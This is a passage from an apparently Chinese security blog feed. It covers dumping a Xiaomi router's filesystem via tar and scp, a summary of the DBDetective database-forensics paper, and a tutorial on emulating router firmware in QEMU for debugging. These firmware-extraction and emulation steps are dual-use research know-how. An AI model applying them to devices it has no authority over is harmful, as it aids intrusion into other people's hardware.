60.9M 1.5M 59.4M 2% /tmp</span> <br > <span class= "line" > ubi0_0 25.9M 25.9M 0 100% /</span> <br > <span class= "line" > tmpfs 60.9M 1.5M 59.4M 2% /tmp</span> <br > <span class= "line" > tmpfs 60.9M 1.5M 59.4M 2% /extdisks</span> <br > <span class= "line" > ubi1_0 45.4M 6.7M 36.3M 16% /data</span> <br > <span class= "line" > ubi1_0 45.4M 6.7M 36.3M 16% /userdisk</span> <br > <span class= "line" > ubi0_0 25.9M 25.9M 0 100% /userdisk/data</span> <br > <span class= "line" > ubi1_0 45.4M 6.7M 36.3M 16% /etc</span> <br > <span class= "line" > </span> <br > <span class= "line" > /dev目录下还有足够空间, 继续压缩</span> <br > <span class= "line" > root@XiaoQiang:/# tar -zcf ./dev/bin.tar.gz bin/*</span> <br > <span class= "line" > root@XiaoQiang:/# tar -zcf ./dev/data.tar.gz data/*</span> <br > <span class= "line" > 其他的目录也是一样的方法</span> <br > <span class= "line" > </span> <br > <span class= "line" > scp传输到本地</span> <br > <span class= "line" > scp root:password@miwifi:/dev/*.tar.gz ./Desktop</span> <br > </pre> </td> </tr> </table> </figure> </p>
<h1 id= "uboot提取固件" > <a href= "#uboot提取固件" class= "headerlink" title= "uboot提取固件" > </a> uboot提取固件</h1> <p > 案例: 2018年看雪提供的摄像头</p>
<h1 id= "通过调试接口JTAG-SWD" > <a href= "#通过调试接口JTAG-SWD" class= "headerlink" title= "通过调试接口JTAG/SWD" > </a> 通过调试接口JTAG/SWD</h1> <h1 id= "拆存储( flash、SD卡、硬盘等) , 用编程器或读卡器获取" > <a href= "#拆存储( flash、SD卡、硬盘等) , 用编程器或读卡器获取" class= "headerlink" title= "拆存储( flash、SD卡、硬盘等) , 用编程器或读卡器获取" > </a> 拆存储( flash、SD卡、硬盘等) , 用编程器或读卡器获取</h1> <h1 id= "逻辑分析仪" > <a href= "#逻辑分析仪" class= "headerlink" title= "逻辑分析仪" > </a> 逻辑分析仪</h1> ]]></content>
2021-03-02 06:31:33 +00:00
<categories >
2021-04-10 20:14:09 +00:00
<category > IOT</category>
2021-03-02 06:31:33 +00:00
</categories>
2021-04-10 20:14:09 +00:00
<tags >
<tag > IoT</tag>
<tag > 硬件层</tag>
</tags>
</entry>
<entry >
<title > 复原数据库存储以检测和跟踪安全漏洞</title>
<url > /2019/04/15/Caving-db-storage/</url>
<content > <![CDATA[<h1 id="Carving-Database-Storage-to-Detect-and-Trace-Security-Breaches"> <a href= "#Carving-Database-Storage-to-Detect-and-Trace-Security-Breaches" class= "headerlink" title= "Carving Database Storage to Detect and Trace Security Breaches" > </a> Carving Database Storage to Detect and Trace Security Breaches</h1> <blockquote >
<p > 复原数据库存储以检测和跟踪安全漏洞<br > <a href= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1555312497/paper/2016-paper_carving_database_storage_to_detect_and.pdf" target= "_blank" rel= "noopener" > 原文下载</a> </p>
</blockquote>
<h2 id= "Motivation" > <a href= "#Motivation" class= "headerlink" title= "Motivation" > </a> Motivation</h2> <h3 id= "DBMS-数据库管理系统" > <a href= "#DBMS-数据库管理系统" class= "headerlink" title= "DBMS(数据库管理系统)" > </a> DBMS(数据库管理系统)</h3> <ul >
<li > 通常用于存储和处理敏感数据, 因此, 投入了大量精力使用访问控制策略来保护DBMS。</li>
<li > 一旦用户在DBMS中获得提升权限( 无论是合理的还是通过攻击的) , 实施的安全方案可以绕过, 因此无法再根据政策保证数据受到保护。<br > 1) 访问控制策略可能不完整, 允许用户执行他们不能执行的命令<br > 2) 用户可能通过使用DB或OS代码中的安全漏洞或通过其他方式非法获取权限</li>
<li > 部署预防措施<br > 1) 在及时发生安全漏洞时检测安全漏洞;<br > 2) 在检测到攻击时收集有关攻击的证据, 以便设计对抗措施并评估损害程度</li>
</ul>
<h3 id= "例子" > <a href= "#例子" class= "headerlink" title= "例子" > </a> 例子</h3> <p > Malice是政府机构的数据库管理员, 为公民提供犯罪记录。 Malice最近被判犯有欺诈罪, 并决定滥用她的特权, 并通过运行DELETE FROM Record WHERE name = ‘ Malice’ 来删除她的犯罪记录。<br > 但是, 她知道数据库操作需要定期审核, 以检测对机构存储的高度敏感数据的篡改。为了覆盖她的操作, Malice在运行DELETE操作之前停用审计日志, 然后再次激活日志。因此, 在数据库中没有她的非法操纵的日志跟踪。<br > 但是,磁盘上的数据库存储仍将包含已删除行的证据。<br > 作者的方法检测已删除的痕迹和过期的记录版本,并将它们与审核日志进行匹配,以检测此类攻击,并提供数据库操作方式的证据。<br > 作者将检测已删除的行,因为它与审计日志中的任何操作都不对应,我们会将其标记为篡改的潜在证据。<br > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1555310640/paper/%E5%9B%BE%E7%89%871.png" a l t > </p>
<h3 id= "思路一览" > <a href= "#思路一览" class= "headerlink" title= "思路一览" > </a> 思路一览</h3> <p > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1555310736/paper/%E6%8D%95%E8%8E%B7.png" a l t > </p>
<h3 id= "提出方法" > <a href= "#提出方法" class= "headerlink" title= "提出方法" > </a> 提出方法</h3> <p > 使用称为DICE的现有取证工具( Wagner等, 2017) 来重建数据库存储<br > 通过匹配提取的存储条目,报告任何无法通过操作记录解释的工件来自动检测潜在的攻击</p>
<ol >
<li > DBDetective检查数据库存储和RAM快照, 并将它找到的内容与审计日志进行比较</li>
<li > 然后,在不影响数据库操作的情况下,对核心数据进行分析。<br > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1555310863/paper/%E5%9B%BE%E7%89%872.png" a l t > </li>
</ol>
<p > 确定数据库篡改的可能性,并指出数据库存储中发现的具体不一致性。<br > 由于数据库存储的易变性,无法保证将发现所有攻击。<br > 在对于我们评估的每个主要DBMS, 我们假设DBMS已启用审计日志来捕获与调查相关的SQL命令。<br > 我们进一步假设一名攻击者通过以下方式阻止记录已执行的恶意命令:</p>
<ul >
<li > 停用审计策略并暂时挂起日志记录</li>
<li > 更改现有审计日志(两者都在数据库日志可靠性部分中讨论)。<br > 通过将取证分析技术应用于数据库存储或缓冲区缓存,并将发现的证据与审计日志相匹配,可以:</li>
<li > 检测DBMS审核日志中未显示的多种类型的数据库访问和操作。</li>
<li > 将未归因的记录修改分类为模糊的INSERT, DELETE或UPDATE命令。</li>
<li > 检测无法从审核日志中的活动派生的( 只读) SELECT查询中的缓存数据。</li>
</ul>
<h2 id= "Reliability-of-database-logs" > <a href= "#Reliability-of-database-logs" class= "headerlink" title= "Reliability of database logs" > </a> Reliability of database logs</h2> <p > 攻击者可以更改两种类型的日志: write-ahead logs (WAL) and audit logs (event history records)</p>
<ul >
<li > WALs以低级别记录数据库修改以支持ACID保证, 提供最近表修改的历史记录。<br > 通常无法禁用或轻松修改WAL, 并且需要读取专用工具( 例如, Oracle LogMiner或PostgreSQL pg_xlogdump) 。<br > 某些DBMS允许为特定操作禁用WAL, 例如批量加载或结构重建。因此, 可以通过此功能插入记录而不留下日志跟踪。</li>
<li > audit logs记录配置的用户数据库操作。包括SQL操作和其他用户活动。审计日志根据数据库管理员配置的日志记录策略存储已执行的SQL命令。 因此,管理员可以根据需要禁用日志记录或修改单个日志记录。<br > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1555311090/paper/%E5%9B%BE%E7%89%873.png" a l t > </li>
</ul>
<h2 id= "Detecting-hidden-record-modifications" > <a href= "#Detecting-hidden-record-modifications" class= "headerlink" title= "Detecting hidden record modifications" > </a> Detecting hidden record modifications</h2> <p > 插入或修改表记录时,数据库中会发生一连串的存储更改。 除了受影响记录的数据本身之外,页面元数据会更新(例如,设置删除标记),并且存储记录的索引的页面会改变(例如,以反映记录的删除)。 如果尚未缓存, 则每个访问的页面都将被带入RAM。 行标识符和结构标识符可用于将所有这些更改绑定在一起。<br > 此外, DBA( 数据库管理员) 还可以禁用批量修改的日志记录( 出于性能考虑) ——可以利用此权限来隐藏恶意修改。<br > 在本节中,我们将描述如何检测已修改记录与已记录命令之间的不一致。</p>
<h3 id= "Deleted-records" > <a href= "#Deleted-records" class= "headerlink" title= "Deleted records" > </a> Deleted records</h3> <ol >
<li > 算法<br > 删除的记录不会被物理删除,而是在页面中标记为“已删除”; 已删除行占用的存储空间将成为未分配的空间,最终将被新行覆盖。这些对数据库存储的更改不能被绕过或控制。<br > 识别存储中与日志中的任何删除操作都不匹配的已删除行。<br > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1555311166/paper/%E5%9B%BE%E7%89%874.png" a l t > </li>
<li > 实例</li>
</ol>
<ul >
<li > DICE从Customer表重建了三个删除的行<br > ( 1, Christine, Chicago) <br > ( 3, Christopher, Seattle) <br > ( 4, Thomas, Austin) </li>
<li > 日志文件包含两个操作<br > 在算法1中, DeletedRows被设置为三个重建的已删除行。<br > 算法1返回( 4, Thomas, Austin) , 表示该删除的记录不能归因于任何删除。<br > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1555311315/paper/%E5%9B%BE%E7%89%875.png" a l t > </li>
</ul>
<h3 id= "Inserted-records" > <a href= "#Inserted-records" class= "headerlink" title= "Inserted records" > </a> Inserted records</h3> <ol >
<li > 算法<br > 新插入的行将附加到表的最后一页的末尾(如果最后一页已满,则为新页)或覆盖由先前删除的行创建的可用空间。<br > 如果“活跃”新表行与审核日志中的任何插入操作都不匹配,则此行是可疑活动的标志。<br > 算法2中使用这些“活跃”记录来确定重构行是否可归因于审计日志中的插入。<br > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1555311991/paper/%E5%9B%BE%E7%89%876.png" a l t > </li>
<li > 实例</li>
</ol>
<ul >
<li > 该日志包含六个操作。<br > 当行从T1插入到T4时, 它们将附加到表的末尾。<br > 在T5, 删除( 3, Lamp) <br > 然后在T6插入( 5, Bookcase) 。<br > 由于row( 5, Bookcase) 大于删除的行( 3, Lamp) , 因此它将附加到表的末尾。</li>
<li > DICE重建了五个活动记录<br > 包括( 0, Dog) 和( 2, Monkey) <br > 行被初始化为算法2的五个重建活动行<br > 算法2因此返回( 0, Dog) 和( 2, Monkey) <br > 因为这些记录无法与记录的插入匹配。<br > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1555312072/paper/%E5%9B%BE%E7%89%877.png" a l t > </li>
</ul>
<h3 id= "Updated-records" > <a href= "#Updated-records" class= "headerlink" title= "Updated records" > </a> Updated records</h3> <ol >
<li > 算法<br > UPDATE操作本质上是一个DELETE操作, 后跟一个INSERT操作。<br > 为了考虑更新的行, 我们使用算法1返回的未标记删除行和算法2返回的未标记插入行作为算法3的输入。如果删除的行可以与更新的WHERE子句匹配, 那么此删除的行操作 被标记为存在于日志中。 接下来, 如果未标记的插入行可以与SET子句中的值匹配, 并且插入的行匹配已删除行中除SET子句值之外的所有值, 则此插入的行操作将出现在日志中。<br > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1555312183/paper/%E5%9B%BE%E7%89%878.png" a l t > </li>
<li > 实例<br > 算法1返回行( 2, Desk) <br > 算法2返回行( 0, Dog) 和( 2, Monkey) <br > 使用这些记录集, 算法3返回( 2, Desk) 作为已删除记录的列表, 并将( 0, Dog) 和( 2, Monkey) 作为插入记录的列表。<br > 此外, 算法3识别( 2, Desk) 和( 2, Monkey) 中第一列的共享值2。 虽然这不能单独确认UPDATE操作, 但可以合理地得出结论: <br > ( 2, Desk) 已更新为( 2, Monkey) 。<br > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1555312234/paper/%E5%9B%BE%E7%89%879.png" a l t > </li>
</ol>
<h2 id= "Detecting-inconsistencies-for-read-only-queries" > <a href= "#Detecting-inconsistencies-for-read-only-queries" class= "headerlink" title= "Detecting inconsistencies for read-only queries" > </a> Detecting inconsistencies for read-only queries</h2> <p > DBMS使用称为缓冲区管理器的组件将页面从磁盘缓存到内存中。数据以页为单位读入缓冲池, 可以通过DICE重建。<br > 在本节中,将描述如何将缓冲池中的工件与审计日志中的只读查询进行匹配。<br > 数据库查询可以使用两种可能的访问表的方式之一:<br > 全表扫描( FTS) 或索引扫描( IS) 。<br > FTS读取所有表页, 而IS使用索引结构来检索引用基于搜索关键字的指针列表。</p>
<h3 id= "Full-table-scan" > <a href= "#Full-table-scan" class= "headerlink" title= "Full table scan" > </a> Full table scan</h3> <p > 当查询使用FTS时, 只会缓存大表的一小部分。 可以完整地缓存小表(相对于缓冲池大小)。 每个数据库都在页眉中存储唯一的页面标识符,这使我们能够有效地将缓存的页面与磁盘上的对应页面进行匹配。<br > 我们可以通过SID=131识别属于Employee的页面, 该SID=131存储在页面标题中。 DICE只能以更快的速度返回页面结构标识符( 无需解析页面内容) 。<br > Q2和Q4都通过FTS访问员工。 每次扫描Employee表时, 表中相同的四个页面( PID: 97,98,99和100) 都会加载到缓冲池中。<br > 因此, 当在存储器中找到具有PID:97,98,99和100以及SID:131的四个页面时, 可以假设FTS应用在Employee表上。<br > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1555312316/paper/%E5%9B%BE%E7%89%8710.png" a l t > </p>
<h3 id= "Index-access" > <a href= "#Index-access" class= "headerlink" title= "Index access" > </a> Index access</h3> <p > Customer表的SID=124, C_City列上的二级索引的SID=126.<br > Q1在城市Dallas上进行过滤, 并使用PID=2缓存索引页。此页面的最小值为Chicago和最大值为Detroit 。<br > Q3在城市Jackson上过滤, 并缓存索引页面, 页面标识符为4.此页面的最小值为Houston, 最大值为Lincoln。<br > 如果审核日志中的查询过滤了索引页的最小值和最大值范围内的值,则该页可以归因于该查询。<br > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1555312359/paper/%E5%9B%BE%E7%89%8711.png" a l t > </p>
<h3 id= "Conclusions-and-future-work" > <a href= "#Conclusions-and-future-work" class= "headerlink" title= "Conclusions and future work" > </a> Conclusions and future work</h3> <ul >
<li > 审计日志和其他内置DBMS安全机制旨在检测或阻止攻击者执行的恶意操作。这种机制的固有缺点是具有足够权限的攻击者可以绕过它们来隐藏它们的踪迹。</li>
<li > 我们提供并全面评估DBDetective, 它可以检测攻击者通过从审计日志中删除从而隐藏的数据库操作, 并收集有关攻击者访问和修改哪些数据的证据。</li>
<li > 我们的方法依赖于对数据库存储的取证检查,并将此信息与审核日志中的条目相关联,以发现恶意操作的证据。</li>
<li > 重要的是,数据库存储几乎不可能被欺骗,因此,与例如审计日志相比,它是更可靠的篡改证据来源。</li>
<li > 鉴于存储快照提供的信息不完整, 我们将探索概率匹配, 确定存储工件由审计日志中的操作引起的可能性, 根据操作的时间顺序利用其他约束, 模拟审计中SQL命令的部分历史记录获得更精确的匹配, 并根据检测到的异常动态调整拍摄快照的频率。</li>
</ul>
]]></content>
2021-03-02 06:31:33 +00:00
<categories >
2021-04-10 20:14:09 +00:00
<category > 顶会论文</category>
2021-03-02 06:31:33 +00:00
</categories>
2021-04-10 20:14:09 +00:00
<tags >
<tag > 数据库</tag>
<tag > 复原文件</tag>
<tag > 取证</tag>
</tags>
</entry>
<entry >
<title > 远程调试小米路由器固件</title>
<url > /2019/07/25/Debug-a-router-firmware/</url>
<content > <![CDATA[<h1 id="0x00-背景与简介"> <a href= "#0x00-背景与简介" class= "headerlink" title= "0x00 背景与简介" > </a> 0x00 背景与简介</h1> <p > 在分析嵌入式设备的固件时, 只采用静态分析方式通常是不够的, 你需要实际执行你的分析目标来观察它的行为。在嵌入式Linux设备的世界里, 很容易把一个调试器放在目标硬件上进行调试。如果你能在自己的系统上运行二进制文件, 而不是拖着硬件做分析, 将会方便很多, 这就需要用QEMU进行仿真。<br > 虽然QEMU在模拟核心芯片组包括CPU上都做的很不错, 但是QEMU往往不能提供你想运行的二进制程序需要的硬件。最常见问题是在运行系统服务, 如Web服务器或UPnP守护进程时, 缺乏NVRAM。解决方法是使用nvram-faker库拦截由libnvram.so提供的nvram_get()调用。即使解决了NVRAM问题, 该程序还可能会假设某些硬件是存在的, 如果硬件不存在, 该程序可能无法运行, 或者即便它运行了, 行为可能也与在其目标硬件上运行时有所不同。针对这种情况下, 我认为有三种解决方法: </p>
<ol >
<li > 修补二进制文件。这取决于期望什么硬件,以及它不存在时的行为是什么。</li>
<li > 把复杂的依赖于硬件的系统服务拆分成小的二级制文件。如跳过运行Web服务器, 仅仅从shell脚本运行cgi二进制文件。因为大多数cgi二进制文件将来自Web服务器的输入作为标准输入和环境变量的组合, 并通过标准输出将响应发送到Web服务器。</li>
<li > 拿到设备的shell, 直接在真机上进行调试, 这是最接近真实状况的方法。</li>
</ol>
<hr >
<h1 id= "REF" > <a href= "#REF" class= "headerlink" title= "REF" > </a> REF</h1> <p > <strong > 综合:</strong> <br > <a href= "https://shadow-file.blogspot.com/2015/01/dynamically-analyzing-wifi-routers-upnp.html" target= "_blank" rel= "noopener" > 国外大神的博客</a> <br > <a href= "https://wooyun.js.org/drops/%E9%80%9A%E8%BF%87QEMU%20%E5%92%8C%20IDA%20Pro%E8%BF%9C%E7%A8%8B%E8%B0%83%E8%AF%95%E8%AE%BE%E5%A4%87%E5%9B%BA%E4%BB%B6.html" target= "_blank" rel= "noopener" > 通过QEMU和IDAPro远程调试设备固件</a> <br > <a href= "https://ray-cp.github.io/archivers/MIPS_Debug_Environment_and_Stack_Overflow" target= "_blank" rel= "noopener" > MIPS漏洞调试环境安装及栈溢出</a> <br > <a href= "https://wiki.x10sec.org/pwn/arm/environment/" target= "_blank" rel= "noopener" > 环境搭建onCTFWIKI</a> <br > <a href= "https://www.anquanke.com/post/id/171918" target= "_blank" rel= "noopener" > 路由器漏洞训练平台</a> <br > <a href= "https://www.anquanke.com/post/id/180714" target= "_blank" rel= "noopener" > 路由器0day漏洞挖掘实战</a> <br > <a href= "https://5alt.me/wiki/%E9%80%86%E5%90%91" target= "_blank" rel= "noopener" > 逆向常用工具</a> </p>
<p > <strong > 环境搭建:</strong> <br > <a href= "https://xz.aliyun.com/t/3826" target= "_blank" rel= "noopener" > 路由器漏洞挖掘测试环境的搭建之问题总结</a> </p>
<p > <strong > Linux相关知识</strong> <br > <a href= "http://xstarcd.github.io/wiki/Cloud/qcow2_raw_vmdk.html" target= "_blank" rel= "noopener" > qcow2、raw、vmdk等镜像格式</a> <br > <a href= "http://joe.is-programmer.com/posts/17753.html" target= "_blank" rel= "noopener" > Linux 引导过程内幕</a> <br > <a href= "https://zhuanlan.zhihu.com/p/32051645" target= "_blank" rel= "noopener" > Linux启动过程</a> </p>
<p > <strong > 调试案例</strong> <br > <a href= "https://xz.aliyun.com/t/5681" target= "_blank" rel= "noopener" > CVE-2019-10999复现</a> <br > <a href= "https://ray-cp.github.io/archivers/router_vuln_book_note" target= "_blank" rel= "noopener" > 《家用路由器0day漏洞挖掘》部分案例</a> <br > <a href= "https://paper.seebug.org/448/" target= "_blank" rel= "noopener" > TP-LINK WR941N路由器研究</a> </p>
<hr >
<h1 id= "0x01-基础条件" > <a href= "#0x01-基础条件" class= "headerlink" title= "0x01 基础条件" > </a> 0x01 基础条件</h1> <ul >
<li > <p > 一系列的工具,包括:<br > <strong > binwalk</strong> 帮助你解包固件<br > <strong > buildroot</strong> mips交叉编译环境帮助你在x86平台下编译mips架构的目标程序 <a href= "https://xz.aliyun.com/t/2505#toc-6" target= "_blank" rel= "noopener" > https://xz.aliyun.com/t/2505#toc-6</a> <br > <strong > qemu</strong> 帮助你模拟mips环境<br > <strong > MIPS gdbinit</strong> 文件使得使用gdb调试mips程序时更方便 <a href= "https://github.com/zcutlip/gdbinit-mips" target= "_blank" rel= "noopener" > https://github.com/zcutlip/gdbinit-mips</a> <br > <strong > miranda工具</strong> 用于UPnP分析 <a href= "https://code.google.com/p/miranda-upnp/" target= "_blank" rel= "noopener" > https://code.google.com/p/miranda-upnp/</a> <br > <strong > MIPS静态汇编审计</strong> 辅助脚本 <a href= "https://github.com/giantbranch/mipsAudit" target= "_blank" rel= "noopener" > https://github.com/giantbranch/mipsAudit</a> <br > <strong > 静态编译的gdbserver</strong> <a href= "https://github.com/rapid7/embedded-tools/tree/master/binaries/gdbserver" target= "_blank" rel= "noopener" > https://github.com/rapid7/embedded-tools/tree/master/binaries/gdbserver</a> </p>
</li>
<li > <p > 一个<strong > mips Linux</strong> 环境:<br > 在qemu系统模式下, 需要模拟整个计算机系统</p>
</li>
</ul>
<hr >
<h1 id= "0x02-qemu-用户模式" > <a href= "#0x02-qemu-用户模式" class= "headerlink" title= "0x02 qemu-用户模式" > </a> 0x02 qemu-用户模式</h1> <p > 在user mode下使用qemu执行程序有两种情况, 一是目标程序为<strong > 静态链接</strong> , 那么可以直接使用qemu。另一种是目标程序依赖于<strong > 动态链接</strong> 库,这时候就需要我们来<strong > 指明库的位置</strong> ,否则目标程序回到系统<code > /lib</code> 文件下寻找共享库文件。<br > 在 <em > 《揭秘家用路由器0day》</em> 这本书里面,他给出的方法是:<br > <figure class= "highlight shell" > <table > <tr > <td class= "code" > <pre > <span class= "line" > <span class= "meta" > $</span> cp $(which qemu-mipsel) ./</span> <br > <span class= "line" > <span class= "meta" > $</span> sudo chroot . ./qemu-mipsel ./usr/sbin/miniupnpd</span> <br > </pre> </td> </tr> </table> </figure> </p>
<p > 他把qemu-mipsel复制到固件文件目录下, 然后<code > chroot</code> 命令改变qemu执行的根目录到当前目录, 按理说此时应该可以找到依赖库,但是结果却是<code > chroot: failed to run command ‘ ./qemu-mipsel’ : No such file or directory</code> </p>
<p > 在网上找到了<a href= "https://xz.aliyun.com/t/3826" target= "_blank" rel= "noopener" > 解决方法</a> :需要安装使用 <strong > qemu-mips-static</strong> 才可以<br > <figure class= "highlight shell" > <table > <tr > <td class= "code" > <pre > <span class= "line" > <span class= "meta" > $</span> apt-get install qemu binfmt-support qemu-user-static</span> <br > <span class= "line" > <span class= "meta" > $</span> cp $(which qemu-mipsel-static ) ./</span> <br > <span class= "line" > <span class= "meta" > $</span> sudo chroot . ./qemu-mipsel-static ./usr/sbin/miniupnpd</span> <br > </pre> </td> </tr> </table> </figure> </p>
<p > 这里还可利用<code > -E</code> 用来设置环境变量,<code > LD_PRELOAD " ./lib" </code> 用来劫持系统调用,另外还有<code > -g</code> 开启调试模式</p>
<p > 除此之外,也在<a href= "https://wiki.x10sec.org/pwn/arm/environment/" target= "_blank" rel= "noopener" > CTF-WIKI</a> 上找到了另一种方法:使用 <strong > qemu-mips 的 -L 参数</strong> 指定路由器的根目录<br > <figure class= "highlight shell" > <table > <tr > <td class= "code" > <pre > <span class= "line" > <span class= "meta" > $</span> qemu-mipsel -L . ./usr/sbin/miniupnpd</span> <br > </pre> </td> </tr> </table> </figure> </p>
<h2 id= "模拟miniupnp" > <a href= "#模拟miniupnp" class= "headerlink" title= "模拟miniupnp" > </a> 模拟miniupnp</h2> <p > 由于没有指定参数, 所以这里miniupnpd只把usage和notes打印给我们了: <br > <figure class= "highlight shell" > <table > <tr > <td class= "code" > <pre > <span class= "line" > Usage:</span> <br > <span class= "line" > ./usr/sbin/miniupnpd [-f config_file] [-i ext_ifname] [-o ext_ip]</span> <br > <span class= "line" > [-a listening_ip] [-p port] [-d] [-U] [-S] [-N]</span> <br > <span class= "line" > [-u uuid] [-s serial] [-m model_number]</span> <br > <span class= "line" > [-t notify_interval] [-P pid_filename]</span> <br > <span class= "line" > [-B down up] [-w url] [-r clean_ruleset_interval]</span> <br > <span class= "line" > [-A "permission rule"] [-b BOOTID]</span> <br > <span class= "line" > </span> <br > <span class= "line" > Notes:</span> <br > <span class= "line" > There can be one or several listening_ips.</span> <br > <span class= "line" > Notify interval is in seconds. Default is 30 seconds.</span> <br > <span class= "line" > Default pid file is '/var/run/miniupnpd.pid'.</span> <br > <span class= "line" > Default config file is '/etc/miniupnpd.conf'.</span> <br > <span class= "line" > With -d miniupnpd will run as a standard program.</span> <br > <span class= "line" > -S sets "secure" mode : clients can only add mappings to their own ip</span> <br > <span class= "line" > -U causes miniupnpd to report system uptime instead of daemon uptime.</span> <br > <span class= "line" > -N enables NAT-PMP functionality.</span> <br > <span class= "line" > -B sets bitrates reported by daemon in bits per second.</span> <br > <span class= "line" > -w sets the presentation url. Default is http address on port 80</span> <br > <span class= "line" > -A use following syntax for permission rules :</span> <br > <span class= "line" > (allow|deny) (external port range) ip/mask (internal port range)</span> <br > <span class= "line" > examples :</span> <br > <span class= "line" > "allow 1024-65535 192.168.1.0/24 1024-65535"</span> <br > <span class= "line" > "deny 0-65535 0.0.0.0/0 0-65535"</span> <br > <span class= "line" > -b sets the value of BOOTID.UPNP.ORG SSDP header</span> <br > <span class= "line" > -h prints this help and quits.</span> <br > </pre> </td> </tr> </table> </figure> </p>
<p > 根据miniupnpd的启动文件<code > /etc/init.d/miniupnpd</code> ,小米使用了启动脚本来配置<code > service_start /usr/sbin/miniupnpd -f conffile -d</code> <br > 其配置文件connfile如下所示: <br > <figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > ext_ifname=eth0.2</span> <br > <span class= "line" > listening_ip=br-lan</span> <br > <span class= "line" > port=5351</span> <br > <span class= "line" > enable_natpmp=yes</span> <br > <span class= "line" > enable_upnp=yes</span> <br > <span class= "line" > secure_mode=no</span> <br > <span class= "line" > system_uptime=yes</span> <br > <span class= "line" > lease_file=/tmp/upnp.leases</span> <br > <span class= "line" > bitrate_down=8388608</span> <br > <span class= "line" > bitrate_up=4194304</span> <br > <span class= "line" > uuid=e1f3a0ec-d9d4-4317-a14b-130cdd18d092</span> <br > <span class= "line" > allow 1024-65535 0.0.0.0/0 1024-65535</span> <br > <span class= "line" > deny 0-65535 0.0.0.0/0 0-65535</span> <br > </pre> </td> </tr> </table> </figure> </p>
<ul >
<li style= "list-style: none" > <input type= "checkbox" > 可见因路由器的特殊性,具有两张网卡(eth0.2& br-lan), 暂时我还没想出应该怎么解决, 是否采用qemu虚拟机配置网络可以解决呢? 反正我采用下面这种粗暴的方式是不可以的(直接指定配置文件)<figure class= "highlight shell" > <table > <tr > <td class= "code" > <pre > <span class= "line" > <span class= "meta" > $</span> sudo qemu-mipsel -L . ./usr/sbin/miniupnpd -f ../../MiniUPnP/miniupnpd.conf -d</span> <br > <span class= "line" > miniupnpd[7687]: system uptime is 5652 seconds</span> <br > <span class= "line" > miniupnpd[7687]: iptc_init() failed : iptables who? (do you need to insmod?)</span> <br > <span class= "line" > miniupnpd[7687]: Failed to init redirection engine. EXITING</span> <br > </pre> </td> </tr> </table> </figure>
</li>
</ul>
<hr >
<h1 id= "0x03-qemu-系统模式" > <a href= "#0x03-qemu-系统模式" class= "headerlink" title= "0x03 qemu-系统模式" > </a> 0x03 qemu-系统模式</h1> <p > 系统模式命令格式:<code > $qemu system-mips [option][disk_image]</code> </p>
<h2 id= "MIPS系统网络配置" > <a href= "#MIPS系统网络配置" class= "headerlink" title= "MIPS系统网络配置" > </a> MIPS系统网络配置</h2> <p > 下载mips系统内核和虚拟机镜像 <a href= "https://people.debian.org/~aurel32/qemu/" target= "_blank" rel= "noopener" > https://people.debian.org/~aurel32/qemu/</a> <br > <figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > To use this image, you need to install QEMU 1.1.0 (or later). Start QEMU</span> <br > <span class= "line" > with the following arguments for a 32-bit machine:</span> <br > <span class= "line" > - qemu-system-mipsel -M malta -kernel vmlinux-2.6.32-5-4kc-malta -hda debian_squeeze_mipsel_standard.qcow2 -append " root=/dev/sda1 console=tty0" </span> <br > <span class= "line" > - qemu-system-mipsel -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_wheezy_mipsel_standard.qcow2 -append " root=/dev/sda1 console=tty0" </span> <br > </pre> </td> </tr> </table> </figure> </p>
<p > <strong > 1. 安装依赖文件</strong> <code > apt-get install uml-utilities bridge-utils</code> </p>
<p > <strong > 2. 修改主机网络配置</strong> <br > <figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > auto lo</span> <br > <span class= "line" > iface lo inet loopback</span> <br > <span class= "line" > </span> <br > <span class= "line" > auto ens33</span> <br > <span class= "line" > iface eth0 inet dhcp</span> <br > <span class= "line" > </span> <br > <span class= "line" > #auto br0</span> <br > <span class= "line" > iface br0 inet dhcp</span> <br > <span class= "line" > bridge_ports ens33</span> <br > <span class= "line" > bridge_maxwait 0</span> <br > </pre> </td> </tr> </table> </figure> </p>
<p > <strong > 3. 修改qemu网络接口启动脚本</strong> <br > <figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > $ sudo vim /etc/qemu-ifup </span> <br > <span class= "line" > $ sudo chmod a+x /etc/qemu-ifup</span> <br > <span class= "line" > #!/bin/sh</span> <br > <span class= "line" > echo " Executing /etc/qemu-ifup" </span> <br > <span class= "line" > echo " Bringing $1 for bridged mode..." </span> <br > <span class= "line" > sudo /sbin/ifconfig $1 0.0.0.0 promisc up</span> <br > <span class= "line" > echo " Adding $1 to br0..." </span> <br > <span class= "line" > sudo /sbin/brctl addif br0 $1</span> <br > <span class= "line" > sleep 3</span> <br > </pre> </td> </tr> </table> </figure> </p>
<figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > $ sudo /etc/init.d/networking restart</span> <br > </pre> </td> </tr> </table> </figure>
<p > <strong > 4. qemu启动配置</strong> <br > <figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > $ sudo ifdown ens33</span> <br > <span class= "line" > $ sudo ifup br0</span> <br > </pre> </td> </tr> </table> </figure> </p>
<p > <strong > 5. 启动mips虚拟机</strong> <br > <code > sudo qemu-system-mipsel -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_wheezy_mipsel_standard.qcow2 -append " root=/dev/sda1 console=tty0" -net nic,macaddr=00:16:3e:00:00:01 -net tap -nographic</code> </p>
<p > 我自闭了, ubuntu18根本没法联网, 于是我用了ubuntu14.0</p>
